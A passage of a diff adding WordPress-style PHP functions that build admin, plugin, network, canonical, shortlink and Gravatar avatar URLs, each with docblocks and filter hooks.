+ * @param string $scheme The scheme to use. Default is 'admin', which obeys force_ssl_admin() and is_ssl().
+ *                       'http' or 'https' can be passed to force those schemes.
+ * @return string Admin URL link with optional path appended.
+ */
+function admin_url( $path = '', $scheme = 'admin' ) {
+	return get_admin_url( null, $path, $scheme );
+}
+
+/**
+ * Retrieves the URL to the admin area for a given site.
+ *
+ * @since 3.0.0
+ *
+ * @param int    $blog_id Optional. Site ID. Default null (current site).
+ * @param string $path    Optional. Path relative to the admin URL. Default empty.
+ * @param string $scheme  Optional. The scheme to use. Accepts 'http' or 'https',
+ *                        to force those schemes. Default 'admin', which obeys
+ *                        force_ssl_admin() and is_ssl().
+ * @return string Admin URL link with optional path appended.
+ */
+function get_admin_url( $blog_id = null, $path = '', $scheme = 'admin' ) {
+	$url = get_site_url($blog_id, 'wp-admin/', $scheme);
+
+	if ( $path && is_string( $path ) )
+		$url .= ltrim( $path, '/' );
+
+	/**
+	 * Filters the admin area URL.
+	 *
+	 * @since 2.8.0
+	 *
+	 * @param string   $url     The complete admin area URL including scheme and path.
+	 * @param string   $path    Path relative to the admin area URL. Blank string if no path is specified.
+	 * @param int|null $blog_id Site ID, or null for the current site.
+	 */
+	return apply_filters( 'admin_url', $url, $path, $blog_id );
+}
+
+/**
+ * Retrieves the URL to the includes directory.
+ *
+ * @since 2.6.0
+ *
+ * @param string $path   Optional. Path relative to the includes URL. Default empty.
+ * @param string $scheme Optional. Scheme to give the includes URL context. Accepts
+ *                       'http', 'https', or 'relative'. Default null.
+ * @return string Includes URL link with optional path appended.
+ */
+function includes_url( $path = '', $scheme = null ) {
+	$url = site_url( '/' . WPINC . '/', $scheme );
+
+	if ( $path && is_string( $path ) )
+		$url .= ltrim($path, '/');
+
+	/**
+	 * Filters the URL to the includes directory.
+	 *
+	 * @since 2.8.0
+	 *
+	 * @param string $url  The complete URL to the includes directory including scheme and path.
+	 * @param string $path Path relative to the URL to the wp-includes directory. Blank string
+	 *                     if no path is specified.
+	 */
+	return apply_filters( 'includes_url', $url, $path );
+}
+
+/**
+ * Retrieves the URL to the content directory.
+ *
+ * @since 2.6.0
+ *
+ * @param string $path Optional. Path relative to the content URL. Default empty.
+ * @return string Content URL link with optional path appended.
+ */
+function content_url( $path = '' ) {
+	$url = set_url_scheme( WP_CONTENT_URL );
+
+	if ( $path && is_string( $path ) )
+		$url .= '/' . ltrim($path, '/');
+
+	/**
+	 * Filters the URL to the content directory.
+	 *
+	 * @since 2.8.0
+	 *
+	 * @param string $url  The complete URL to the content directory including scheme and path.
+	 * @param string $path Path relative to the URL to the content directory. Blank string
+	 *                     if no path is specified.
+	 */
+	return apply_filters( 'content_url', $url, $path);
+}
+
+/**
+ * Retrieves a URL within the plugins or mu-plugins directory.
+ *
+ * Defaults to the plugins directory URL if no arguments are supplied.
+ *
+ * @since 2.6.0
+ *
+ * @param  string $path   Optional. Extra path appended to the end of the URL, including
+ *                        the relative directory if $plugin is supplied. Default empty.
+ * @param  string $plugin Optional. A full path to a file inside a plugin or mu-plugin.
+ *                        The URL will be relative to its directory. Default empty.
+ *                        Typically this is done by passing `__FILE__` as the argument.
+ * @return string Plugins URL link with optional paths appended.
+ */
+function plugins_url( $path = '', $plugin = '' ) {
+
+	$path = wp_normalize_path( $path );
+	$plugin = wp_normalize_path( $plugin );
+	$mu_plugin_dir = wp_normalize_path( WPMU_PLUGIN_DIR );
+
+	if ( !empty($plugin) && 0 === strpos($plugin, $mu_plugin_dir) )
+		$url = WPMU_PLUGIN_URL;
+	else
+		$url = WP_PLUGIN_URL;
+
+
+	$url = set_url_scheme( $url );
+
+	if ( !empty($plugin) && is_string($plugin) ) {
+		$folder = dirname(plugin_basename($plugin));
+		if ( '.' != $folder )
+			$url .= '/' . ltrim($folder, '/');
+	}
+
+	if ( $path && is_string( $path ) )
+		$url .= '/' . ltrim($path, '/');
+
+	/**
+	 * Filters the URL to the plugins directory.
+	 *
+	 * @since 2.8.0
+	 *
+	 * @param string $url    The complete URL to the plugins directory including scheme and path.
+	 * @param string $path   Path relative to the URL to the plugins directory. Blank string
+	 *                       if no path is specified.
+	 * @param string $plugin The plugin file path to be relative to. Blank string if no plugin
+	 *                       is specified.
+	 */
+	return apply_filters( 'plugins_url', $url, $path, $plugin );
+}
+
+/**
+ * Retrieves the site URL for the current network.
+ *
+ * Returns the site URL with the appropriate protocol, 'https' if
+ * is_ssl() and 'http' otherwise. If $scheme is 'http' or 'https', is_ssl() is
+ * overridden.
+ *
+ * @since 3.0.0
+ *
+ * @see set_url_scheme()
+ *
+ * @param string $path   Optional. Path relative to the site URL. Default empty.
+ * @param string $scheme Optional. Scheme to give the site URL context. Accepts
+ *                       'http', 'https', or 'relative'. Default null.
+ * @return string Site URL link with optional path appended.
+ */
+function network_site_url( $path = '', $scheme = null ) {
+	if ( ! is_multisite() )
+		return site_url($path, $scheme);
+
+	$current_network = get_network();
+
+	if ( 'relative' == $scheme )
+		$url = $current_network->path;
+	else
+		$url = set_url_scheme( 'http://' . $current_network->domain . $current_network->path, $scheme );
+
+	if ( $path && is_string( $path ) )
+		$url .= ltrim( $path, '/' );
+
+	/**
+	 * Filters the network site URL.
+	 *
+	 * @since 3.0.0
+	 *
+	 * @param string      $url    The complete network site URL including scheme and path.
+	 * @param string      $path   Path relative to the network site URL. Blank string if
+	 *                            no path is specified.
+	 * @param string|null $scheme Scheme to give the URL context. Accepts 'http', 'https',
+	 *                            'relative' or null.
+	 */
+	return apply_filters( 'network_site_url', $url, $path, $scheme );
+}
+
+/**
+ * Retrieves the home URL for the current network.
+ *
+ * Returns the home URL with the appropriate protocol, 'https' is_ssl()
+ * and 'http' otherwise. If `$scheme` is 'http' or 'https', `is_ssl()` is
+ * overridden.
+ *
+ * @since 3.0.0
+ *
+ * @param  string $path   Optional. Path relative to the home URL. Default empty.
+ * @param  string $scheme Optional. Scheme to give the home URL context. Accepts
+ *                        'http', 'https', or 'relative'. Default null.
+ * @return string Home URL link with optional path appended.
+ */
+function network_home_url( $path = '', $scheme = null ) {
+	if ( ! is_multisite() )
+		return home_url($path, $scheme);
+
+	$current_network = get_network();
+	$orig_scheme = $scheme;
+
+	if ( ! in_array( $scheme, array( 'http', 'https', 'relative' ) ) )
+		$scheme = is_ssl() && ! is_admin() ? 'https' : 'http';
+
+	if ( 'relative' == $scheme )
+		$url = $current_network->path;
+	else
+		$url = set_url_scheme( 'http://' . $current_network->domain . $current_network->path, $scheme );
+
+	if ( $path && is_string( $path ) )
+		$url .= ltrim( $path, '/' );
+
+	/**
+	 * Filters the network home URL.
+	 *
+	 * @since 3.0.0
+	 *
+	 * @param string      $url         The complete network home URL including scheme and path.
+	 * @param string      $path        Path relative to the network home URL. Blank string
+	 *                                 if no path is specified.
+	 * @param string|null $orig_scheme Scheme to give the URL context. Accepts 'http', 'https',
+	 *                                 'relative' or null.
+	 */
+	return apply_filters( 'network_home_url', $url, $path, $orig_scheme);
+}
+
+/**
+ * Retrieves the URL to the admin area for the network.
+ *
+ * @since 3.0.0
+ *
+ * @param string $path   Optional path relative to the admin URL. Default empty.
+ * @param string $scheme Optional. The scheme to use. Default is 'admin', which obeys force_ssl_admin()
+ *                       and is_ssl(). 'http' or 'https' can be passed to force those schemes.
+ * @return string Admin URL link with optional path appended.
+ */
+function network_admin_url( $path = '', $scheme = 'admin' ) {
+	if ( ! is_multisite() )
+		return admin_url( $path, $scheme );
+
+	$url = network_site_url('wp-admin/network/', $scheme);
+
+	if ( $path && is_string( $path ) )
+		$url .= ltrim($path, '/');
+
+	/**
+	 * Filters the network admin URL.
+	 *
+	 * @since 3.0.0
+	 *
+	 * @param string $url  The complete network admin URL including scheme and path.
+	 * @param string $path Path relative to the network admin URL. Blank string if
+	 *                     no path is specified.
+	 */
+	return apply_filters( 'network_admin_url', $url, $path );
+}
+
+/**
+ * Retrieves the URL to the admin area for the current user.
+ *
+ * @since 3.0.0
+ *
+ * @param string $path   Optional. Path relative to the admin URL. Default empty.
+ * @param string $scheme Optional. The scheme to use. Default is 'admin', which obeys force_ssl_admin()
+ *                       and is_ssl(). 'http' or 'https' can be passed to force those schemes.
+ * @return string Admin URL link with optional path appended.
+ */
+function user_admin_url( $path = '', $scheme = 'admin' ) {
+	$url = network_site_url('wp-admin/user/', $scheme);
+
+	if ( $path && is_string( $path ) )
+		$url .= ltrim($path, '/');
+
+	/**
+	 * Filters the user admin URL for the current user.
+	 *
+	 * @since 3.1.0
+	 *
+	 * @param string $url  The complete URL including scheme and path.
+	 * @param string $path Path relative to the URL. Blank string if
+	 *                     no path is specified.
+	 */
+	return apply_filters( 'user_admin_url', $url, $path );
+}
+
+/**
+ * Retrieves the URL to the admin area for either the current site or the network depending on context.
+ *
+ * @since 3.1.0
+ *
+ * @param string $path   Optional. Path relative to the admin URL. Default empty.
+ * @param string $scheme Optional. The scheme to use. Default is 'admin', which obeys force_ssl_admin()
+ *                       and is_ssl(). 'http' or 'https' can be passed to force those schemes.
+ * @return string Admin URL link with optional path appended.
+ */
+function self_admin_url( $path = '', $scheme = 'admin' ) {
+	if ( is_network_admin() ) {
+		$url = network_admin_url( $path, $scheme );
+	} elseif ( is_user_admin() ) {
+		$url = user_admin_url( $path, $scheme );
+	} else {
+		$url = admin_url( $path, $scheme );
+	}
+
+	/**
+	 * Filters the admin URL for the current site or network depending on context.
+	 *
+	 * @since 4.9.0
+	 *
+	 * @param string $url    The complete URL including scheme and path.
+	 * @param string $path   Path relative to the URL. Blank string if no path is specified.
+	 * @param string $scheme The scheme to use.
+	 */
+	return apply_filters( 'self_admin_url', $url, $path, $scheme );
+}
+
+/**
+ * Sets the scheme for a URL.
+ *
+ * @since 3.4.0
+ * @since 4.4.0 The 'rest' scheme was added.
+ *
+ * @param string      $url    Absolute URL that includes a scheme
+ * @param string|null $scheme Optional. Scheme to give $url. Currently 'http', 'https', 'login',
+ *                            'login_post', 'admin', 'relative', 'rest', 'rpc', or null. Default null.
+ * @return string $url URL with chosen scheme.
+ */
+function set_url_scheme( $url, $scheme = null ) {
+	$orig_scheme = $scheme;
+
+	if ( ! $scheme ) {
+		$scheme = is_ssl() ? 'https' : 'http';
+	} elseif ( $scheme === 'admin' || $scheme === 'login' || $scheme === 'login_post' || $scheme === 'rpc' ) {
+		$scheme = is_ssl() || force_ssl_admin() ? 'https' : 'http';
+	} elseif ( $scheme !== 'http' && $scheme !== 'https' && $scheme !== 'relative' ) {
+		$scheme = is_ssl() ? 'https' : 'http';
+	}
+
+	$url = trim( $url );
+	if ( substr( $url, 0, 2 ) === '//' )
+		$url = 'http:' . $url;
+
+	if ( 'relative' == $scheme ) {
+		$url = ltrim( preg_replace( '#^\w+://[^/]*#', '', $url ) );
+		if ( $url !== '' && $url[0] === '/' )
+			$url = '/' . ltrim($url , "/ \t\n\r\0\x0B" );
+	} else {
+		$url = preg_replace( '#^\w+://#', $scheme . '://', $url );
+	}
+
+	/**
+	 * Filters the resulting URL after setting the scheme.
+	 *
+	 * @since 3.4.0
+	 *
+	 * @param string      $url         The complete URL including scheme and path.
+	 * @param string      $scheme      Scheme applied to the URL. One of 'http', 'https', or 'relative'.
+	 * @param string|null $orig_scheme Scheme requested for the URL. One of 'http', 'https', 'login',
+	 *                                 'login_post', 'admin', 'relative', 'rest', 'rpc', or null.
+	 */
+	return apply_filters( 'set_url_scheme', $url, $scheme, $orig_scheme );
+}
+
+/**
+ * Retrieves the URL to the user's dashboard.
+ *
+ * If a user does not belong to any site, the global user dashboard is used. If the user
+ * belongs to the current site, the dashboard for the current site is returned. If the user
+ * cannot edit the current site, the dashboard to the user's primary site is returned.
+ *
+ * @since 3.1.0
+ *
+ * @param int    $user_id Optional. User ID. Defaults to current user.
+ * @param string $path    Optional path relative to the dashboard. Use only paths known to
+ *                        both site and user admins. Default empty.
+ * @param string $scheme  The scheme to use. Default is 'admin', which obeys force_ssl_admin()
+ *                        and is_ssl(). 'http' or 'https' can be passed to force those schemes.
+ * @return string Dashboard URL link with optional path appended.
+ */
+function get_dashboard_url( $user_id = 0, $path = '', $scheme = 'admin' ) {
+	$user_id = $user_id ? (int) $user_id : get_current_user_id();
+
+	$blogs = get_blogs_of_user( $user_id );
+	if ( is_multisite() && ! user_can( $user_id, 'manage_network' ) && empty($blogs) ) {
+		$url = user_admin_url( $path, $scheme );
+	} elseif ( ! is_multisite() ) {
+		$url = admin_url( $path, $scheme );
+	} else {
+		$current_blog = get_current_blog_id();
+		if ( $current_blog  && ( user_can( $user_id, 'manage_network' ) || in_array( $current_blog, array_keys( $blogs ) ) ) ) {
+			$url = admin_url( $path, $scheme );
+		} else {
+			$active = get_active_blog_for_user( $user_id );
+			if ( $active )
+				$url = get_admin_url( $active->blog_id, $path, $scheme );
+			else
+				$url = user_admin_url( $path, $scheme );
+		}
+	}
+
+	/**
+	 * Filters the dashboard URL for a user.
+	 *
+	 * @since 3.1.0
+	 *
+	 * @param string $url     The complete URL including scheme and path.
+	 * @param int    $user_id The user ID.
+	 * @param string $path    Path relative to the URL. Blank string if no path is specified.
+	 * @param string $scheme  Scheme to give the URL context. Accepts 'http', 'https', 'login',
+	 *                        'login_post', 'admin', 'relative' or null.
+	 */
+	return apply_filters( 'user_dashboard_url', $url, $user_id, $path, $scheme);
+}
+
+/**
+ * Retrieves the URL to the user's profile editor.
+ *
+ * @since 3.1.0
+ *
+ * @param int    $user_id Optional. User ID. Defaults to current user.
+ * @param string $scheme  Optional. The scheme to use. Default is 'admin', which obeys force_ssl_admin()
+ *                        and is_ssl(). 'http' or 'https' can be passed to force those schemes.
+ * @return string Dashboard URL link with optional path appended.
+ */
+function get_edit_profile_url( $user_id = 0, $scheme = 'admin' ) {
+	$user_id = $user_id ? (int) $user_id : get_current_user_id();
+
+	if ( is_user_admin() )
+		$url = user_admin_url( 'profile.php', $scheme );
+	elseif ( is_network_admin() )
+		$url = network_admin_url( 'profile.php', $scheme );
+	else
+		$url = get_dashboard_url( $user_id, 'profile.php', $scheme );
+
+	/**
+	 * Filters the URL for a user's profile editor.
+	 *
+	 * @since 3.1.0
+	 *
+	 * @param string $url     The complete URL including scheme and path.
+	 * @param int    $user_id The user ID.
+	 * @param string $scheme  Scheme to give the URL context. Accepts 'http', 'https', 'login',
+	 *                        'login_post', 'admin', 'relative' or null.
+	 */
+	return apply_filters( 'edit_profile_url', $url, $user_id, $scheme);
+}
+
+/**
+ * Returns the canonical URL for a post.
+ *
+ * When the post is the same as the current requested page the function will handle the
+ * pagination arguments too.
+ *
+ * @since 4.6.0
+ *
+ * @param int|WP_Post $post Optional. Post ID or object. Default is global `$post`.
+ * @return string|false The canonical URL, or false if the post does not exist or has not
+ *                      been published yet.
+ */
+function wp_get_canonical_url( $post = null ) {
+	$post = get_post( $post );
+
+	if ( ! $post ) {
+		return false;
+	}
+
+	if ( 'publish' !== $post->post_status ) {
+		return false;
+	}
+
+	$canonical_url = get_permalink( $post );
+
+	// If a canonical is being generated for the current page, make sure it has pagination if needed.
+	if ( $post->ID === get_queried_object_id() ) {
+		$page = get_query_var( 'page', 0 );
+		if ( $page >= 2 ) {
+			if ( '' == get_option( 'permalink_structure' ) ) {
+				$canonical_url = add_query_arg( 'page', $page, $canonical_url );
+			} else {
+				$canonical_url = trailingslashit( $canonical_url ) . user_trailingslashit( $page, 'single_paged' );
+			}
+		}
+
+		$cpage = get_query_var( 'cpage', 0 );
+		if ( $cpage ) {
+			$canonical_url = get_comments_pagenum_link( $cpage );
+		}
+	}
+
+	/**
+	 * Filters the canonical URL for a post.
+	 *
+	 * @since 4.6.0
+	 *
+	 * @param string  $canonical_url The post's canonical URL.
+	 * @param WP_Post $post          Post object.
+	 */
+	return apply_filters( 'get_canonical_url', $canonical_url, $post );
+}
+
+/**
+ * Outputs rel=canonical for singular queries.
+ *
+ * @since 2.9.0
+ * @since 4.6.0 Adjusted to use wp_get_canonical_url().
+ */
+function rel_canonical() {
+	if ( ! is_singular() ) {
+		return;
+	}
+
+	$id = get_queried_object_id();
+
+	if ( 0 === $id ) {
+		return;
+	}
+
+	$url = wp_get_canonical_url( $id );
+
+	if ( ! empty( $url ) ) {
+		echo '<link rel="canonical" href="' . esc_url( $url ) . '" />' . "\n";
+	}
+}
+
+/**
+ * Returns a shortlink for a post, page, attachment, or site.
+ *
+ * This function exists to provide a shortlink tag that all themes and plugins can target.
+ * A plugin must hook in to provide the actual shortlinks. Default shortlink support is
+ * limited to providing ?p= style links for posts. Plugins can short-circuit this function
+ * via the {@see 'pre_get_shortlink'} filter or filter the output via the {@see 'get_shortlink'}
+ * filter.
+ *
+ * @since 3.0.0.
+ *
+ * @param int    $id          Optional. A post or site id. Default is 0, which means the current post or site.
+ * @param string $context     Optional. Whether the id is a 'site' id, 'post' id, or 'media' id. If 'post',
+ *                            the post_type of the post is consulted. If 'query', the current query is consulted
+ *                            to determine the id and context. Default 'post'.
+ * @param bool   $allow_slugs Optional. Whether to allow post slugs in the shortlink. It is up to the plugin how
+ *                            and whether to honor this. Default true.
+ * @return string A shortlink or an empty string if no shortlink exists for the requested resource or if shortlinks
+ *                are not enabled.
+ */
+function wp_get_shortlink( $id = 0, $context = 'post', $allow_slugs = true ) {
+	/**
+	 * Filters whether to preempt generating a shortlink for the given post.
+	 *
+	 * Passing a truthy value to the filter will effectively short-circuit the
+	 * shortlink-generation process, returning that value instead.
+	 *
+	 * @since 3.0.0
+	 *
+	 * @param bool|string $return      Short-circuit return value. Either false or a URL string.
+	 * @param int         $id          Post ID, or 0 for the current post.
+	 * @param string      $context     The context for the link. One of 'post' or 'query',
+	 * @param bool        $allow_slugs Whether to allow post slugs in the shortlink.
+	 */
+	$shortlink = apply_filters( 'pre_get_shortlink', false, $id, $context, $allow_slugs );
+
+	if ( false !== $shortlink ) {
+		return $shortlink;
+	}
+
+	$post_id = 0;
+	if ( 'query' == $context && is_singular() ) {
+		$post_id = get_queried_object_id();
+		$post = get_post( $post_id );
+	} elseif ( 'post' == $context ) {
+		$post = get_post( $id );
+		if ( ! empty( $post->ID ) )
+			$post_id = $post->ID;
+	}
+
+	$shortlink = '';
+
+	// Return p= link for all public post types.
+	if ( ! empty( $post_id ) ) {
+		$post_type = get_post_type_object( $post->post_type );
+
+		if ( 'page' === $post->post_type && $post->ID == get_option( 'page_on_front' ) && 'page' == get_option( 'show_on_front' ) ) {
+			$shortlink = home_url( '/' );
+		} elseif ( $post_type->public ) {
+			$shortlink = home_url( '?p=' . $post_id );
+		}
+	}
+
+	/**
+	 * Filters the shortlink for a post.
+	 *
+	 * @since 3.0.0
+	 *
+	 * @param string $shortlink   Shortlink URL.
+	 * @param int    $id          Post ID, or 0 for the current post.
+	 * @param string $context     The context for the link. One of 'post' or 'query',
+	 * @param bool   $allow_slugs Whether to allow post slugs in the shortlink. Not used by default.
+	 */
+	return apply_filters( 'get_shortlink', $shortlink, $id, $context, $allow_slugs );
+}
+
+/**
+ * Injects rel=shortlink into the head if a shortlink is defined for the current page.
+ *
+ * Attached to the {@see 'wp_head'} action.
+ *
+ * @since 3.0.0
+ */
+function wp_shortlink_wp_head() {
+	$shortlink = wp_get_shortlink( 0, 'query' );
+
+	if ( empty( $shortlink ) )
+		return;
+
+	echo "<link rel='shortlink' href='" . esc_url( $shortlink ) . "' />\n";
+}
+
+/**
+ * Sends a Link: rel=shortlink header if a shortlink is defined for the current page.
+ *
+ * Attached to the {@see 'wp'} action.
+ *
+ * @since 3.0.0
+ */
+function wp_shortlink_header() {
+	if ( headers_sent() )
+		return;
+
+	$shortlink = wp_get_shortlink(0, 'query');
+
+	if ( empty($shortlink) )
+		return;
+
+	header('Link: <' . $shortlink . '>; rel=shortlink', false);
+}
+
+/**
+ * Displays the shortlink for a post.
+ *
+ * Must be called from inside "The Loop"
+ *
+ * Call like the_shortlink( __( 'Shortlinkage FTW' ) )
+ *
+ * @since 3.0.0
+ *
+ * @param string $text   Optional The link text or HTML to be displayed. Defaults to 'This is the short link.'
+ * @param string $title  Optional The tooltip for the link. Must be sanitized. Defaults to the sanitized post title.
+ * @param string $before Optional HTML to display before the link. Default empty.
+ * @param string $after  Optional HTML to display after the link. Default empty.
+ */
+function the_shortlink( $text = '', $title = '', $before = '', $after = '' ) {
+	$post = get_post();
+
+	if ( empty( $text ) )
+		$text = __('This is the short link.');
+
+	if ( empty( $title ) )
+		$title = the_title_attribute( array( 'echo' => false ) );
+
+	$shortlink = wp_get_shortlink( $post->ID );
+
+	if ( !empty( $shortlink ) ) {
+		$link = '<a rel="shortlink" href="' . esc_url( $shortlink ) . '" title="' . $title . '">' . $text . '</a>';
+
+		/**
+		 * Filters the short link anchor tag for a post.
+		 *
+		 * @since 3.0.0
+		 *
+		 * @param string $link      Shortlink anchor tag.
+		 * @param string $shortlink Shortlink URL.
+		 * @param string $text      Shortlink's text.
+		 * @param string $title     Shortlink's title attribute.
+		 */
+		$link = apply_filters( 'the_shortlink', $link, $shortlink, $text, $title );
+		echo $before, $link, $after;
+	}
+}
+
+
+/**
+ * Retrieves the avatar URL.
+ *
+ * @since 4.2.0
+ *
+ * @param mixed $id_or_email The Gravatar to retrieve a URL for. Accepts a user_id, gravatar md5 hash,
+ *                           user email, WP_User object, WP_Post object, or WP_Comment object.
+ * @param array $args {
+ *     Optional. Arguments to return instead of the default arguments.
+ *
+ *     @type int    $size           Height and width of the avatar in pixels. Default 96.
+ *     @type string $default        URL for the default image or a default type. Accepts '404' (return
+ *                                  a 404 instead of a default image), 'retro' (8bit), 'monsterid' (monster),
+ *                                  'wavatar' (cartoon face), 'indenticon' (the "quilt"), 'mystery', 'mm',
+ *                                  or 'mysteryman' (The Oyster Man), 'blank' (transparent GIF), or
+ *                                  'gravatar_default' (the Gravatar logo). Default is the value of the
+ *                                  'avatar_default' option, with a fallback of 'mystery'.
+ *     @type bool   $force_default  Whether to always show the default image, never the Gravatar. Default false.
+ *     @type string $rating         What rating to display avatars up to. Accepts 'G', 'PG', 'R', 'X', and are
+ *                                  judged in that order. Default is the value of the 'avatar_rating' option.
+ *     @type string $scheme         URL scheme to use. See set_url_scheme() for accepted values.
+ *                                  Default null.
+ *     @type array  $processed_args When the function returns, the value will be the processed/sanitized $args
+ *                                  plus a "found_avatar" guess. Pass as a reference. Default null.
+ * }
+ * @return false|string The URL of the avatar we found, or false if we couldn't find an avatar.
+ */
+function get_avatar_url( $id_or_email, $args = null ) {
+	$args = get_avatar_data( $id_or_email, $args );
+	return $args['url'];
+}
+
+/**
+ * Retrieves default data about the avatar.
+ *
+ * @since 4.2.0
+ *
+ * @param mixed $id_or_email The Gravatar to retrieve. Accepts a user_id, gravatar md5 hash,
+ *                            user email, WP_User object, WP_Post object, or WP_Comment object.
+ * @param array $args {
+ *     Optional. Arguments to return instead of the default arguments.
+ *
+ *     @type int    $size           Height and width of the avatar image file in pixels. Default 96.
+ *     @type int    $height         Display height of the avatar in pixels. Defaults to $size.
+ *     @type int    $width          Display width of the avatar in pixels. Defaults to $size.
+ *     @type string $default        URL for the default image or a default type. Accepts '404' (return
+ *                                  a 404 instead of a default image), 'retro' (8bit), 'monsterid' (monster),
+ *                                  'wavatar' (cartoon face), 'indenticon' (the "quilt"), 'mystery', 'mm',
+ *                                  or 'mysteryman' (The Oyster Man), 'blank' (transparent GIF), or
+ *                                  'gravatar_default' (the Gravatar logo). Default is the value of the
+ *                                  'avatar_default' option, with a fallback of 'mystery'.
+ *     @type bool   $force_default  Whether to always show the default image, never the Gravatar. Default false.
+ *     @type string $rating         What rating to display avatars up to. Accepts 'G', 'PG', 'R', 'X', and are
+ *                                  judged in that order. Default is the value of the 'avatar_rating' option.
+ *     @type string $scheme         URL scheme to use. See set_url_scheme() for accepted values.
+ *                                  Default null.
+ *     @type array  $processed_args When the function returns, the value will be the processed/sanitized $args
+ *                                  plus a "found_avatar" guess. Pass as a reference. Default null.
+ *     @type string $extra_attr     HTML attributes to insert in the IMG element. Is not sanitized. Default empty.
+ * }
+ * @return array $processed_args {
+ *     Along with the arguments passed in `$args`, this will contain a couple of extra arguments.
+ *
+ *     @type bool   $found_avatar True if we were able to find an avatar for this user,
+ *                                false or not set if we couldn't.
+ *     @type string $url          The URL of the avatar we found.
+ * }
+ */
+function get_avatar_data( $id_or_email, $args = null ) {
+	$args = wp_parse_args( $args, array(
+		'size'           => 96,
+		'height'         => null,
+		'width'          => null,
+		'default'        => get_option( 'avatar_default', 'mystery' ),
+		'force_default'  => false,
+		'rating'         => get_option( 'avatar_rating' ),
+		'scheme'         => null,
+		'processed_args' => null, // if used, should be a reference
+		'extra_attr'     => '',
+	) );
+
+	if ( is_numeric( $args['size'] ) ) {
+		$args['size'] = absint( $args['size'] );
+		if ( ! $args['size'] ) {
+			$args['size'] = 96;
+		}
+	} else {
+		$args['size'] = 96;
+	}
+
+	if ( is_numeric( $args['height'] ) ) {
+		$args['height'] = absint( $args['height'] );
+		if ( ! $args['height'] ) {
+			$args['height'] = $args['size'];
+		}
+	} else {
+		$args['height'] = $args['size'];
+	}
+
+	if ( is_numeric( $args['width'] ) ) {
+		$args['width'] = absint( $args['width'] );
+		if ( ! $args['width'] ) {
+			$args['width'] = $args['size'];
+		}
+	} else {
+		$args['width'] = $args['size'];
+	}
+
+	if ( empty( $args['default'] ) ) {
+		$args['default'] = get_option( 'avatar_default', 'mystery' );
+	}
+
+	switch ( $args['default'] ) {
+		case 'mm' :
+		case 'mystery' :
+		case 'mysteryman' :
+			$args['default'] = 'mm';
+			break;
+		case 'gravatar_default' :
+			$args['default'] = false;
+			break;
+	}
+
+	$args['force_default'] = (bool) $args['force_default'];
+
+	$args['rating'] = strtolower( $args['rating'] );
+
+	$args['found_avatar'] = false;
+
+	/**
+	 * Filters whether to retrieve the avatar URL early.
+	 *
+	 * Passing a non-null value in the 'url' member of the return array will
+	 * effectively short circuit get_avatar_data(), passing the value through
+	 * the {@see 'get_avatar_data'} filter and returning early.
+	 *
+	 * @since 4.2.0
+	 *
+	 * @param array  $args        Arguments passed to get_avatar_data(), after processing.
+	 * @param mixed  $id_or_email The Gravatar to retrieve. Accepts a user_id, gravatar md5 hash,
+	 *                            user email, WP_User object, WP_Post object, or WP_Comment object.
+	 */
+	$args = apply_filters( 'pre_get_avatar_data', $args, $id_or_email );
+
+	if ( isset( $args['url'] ) && ! is_null( $args['url'] ) ) {
+		/** This filter is documented in wp-includes/link-template.php */
+		return apply_filters( 'get_avatar_data', $args, $id_or_email );
+	}
+
+	$email_hash = '';
+	$user = $email = false;
+
+	if ( is_object( $id_or_email ) && isset( $id_or_email->comment_ID ) ) {
+		$id_or_email = get_comment( $id_or_email );
+	}
+
+	// Process the user identifier.
+	if ( is_numeric( $id_or_email ) ) {
+		$user = get_user_by( 'id', absint( $id_or_email ) );
+	} elseif ( is_string( $id_or_email ) ) {
+		if ( strpos( $id_or_email, '@md5.gravatar.com' ) ) {
+			// md5 hash
+			list( $email_hash ) = explode( '@', $id_or_email );
+		} else {
+			// email address
+			$email = $id_or_email;
+		}
+	} elseif ( $id_or_email instanceof WP_User ) {
+		// User Object
+		$user = $id_or_email;
+	} elseif ( $id_or_email instanceof WP_Post ) {
+		// Post Object
+		$user = get_user_by( 'id', (int) $id_or_email->post_author );
+	} elseif ( $id_or_email instanceof WP_Comment ) {
+		/**
+		 * Filters the list of allowed comment types for retrieving avatars.
+		 *
+		 * @since 3.0.0
+		 *
+		 * @param array $types An array of content types. Default only contains 'comment'.
+		 */
+		$allowed_comment_types = apply_filters( 'get_avatar_comment_types', array( 'comment' ) );
+		if ( ! empty( $id_or_email->comment_type ) && ! in_array( $id_or_email->comment_type, (array) $allowed_comment_types ) ) {
+			$args['url'] = false;
+			/** This filter is documented in wp-includes/link-template.php */
+			return apply_filters( 'get_avatar_data', $args, $id_or_email );
+		}
+
+		if ( ! empty( $id_or_email->user_id ) ) {
+			$user = get_user_by( 'id', (int) $id_or_email->user_id );
+		}
+		if ( ( ! $user || is_wp_error( $user ) ) && ! empty( $id_or_email->comment_author_email ) ) {
+			$email = $id_or_email->comment_author_email;
+		}
+	}
+
+	if ( ! $email_hash ) {
+		if ( $user ) {
+			$email = $user->user_email;
+		}
+
+		if ( $email ) {
+			$email_hash = md5( strtolower( trim( $email ) ) );
+		}
+	}
+
+	if ( $email_hash ) {
+		$args['found_avatar'] = true;
+		$gravatar_server = hexdec( $email_hash[0] ) % 3;
+	} else {
+		$gravatar_server = rand( 0, 2 );
+	}
+
+	$url_args = array(
+		's' => $args['size'],
+		'd' => $args['default'],
+		'f' => $args['force_default'] ? 'y' : false,
+		'r' => $args['rating'],
+	);
+
+	if ( is_ssl() ) {
+		$url = 'https://secure.gravatar.com/avatar/' . $email_hash;
+	} else {
+		$url = sprintf( 'http://%d.gravatar.com/avatar/%s', $gravatar_server, $email_hash );
+	}
+
+	$url = add_query_arg(
+		rawurlencode_deep( array_filter( $url_args ) ),
+		set_url_scheme( $url, $args['scheme'] )
+	);
+
+	/**
+	 * Filters the avatar URL.
+	 *
+	 * @since 4.2.0
+	 *
+	 * @param string $url         The URL of the avatar.
+	 * @param mixed  $id_or_email The Gravatar to retrieve. Accepts a user_id, gravatar md5 hash,
+	 *                            user email, WP_User object, WP_Post object, or WP_Comment object.
+	 * @param array  $args        Arguments passed to get_avatar_data(), after processing.
+	 */
+	$args['url'] = apply_filters( 'get_avatar_url', $url, $id_or_email, $args );
+
+	/**
+	 * Filters the avatar data.
+	 *
+	 * @since 4.2.0
+	 *
+	 * @param array  $args        Arguments passed to get_avatar_data(), after processing.
+	 * @param mixed  $id_or_email The Gravatar to retrieve. Accepts a user_id, gravatar md5 hash,
+	 *                            user email, WP_User object, WP_Post object, or WP_Comment object.
+	 */
+	return apply_filters( 'get_avatar_data', $args, $id_or_email );
+}
+
+/**
+ * Retrieves the URL of a file in the theme.
+ *
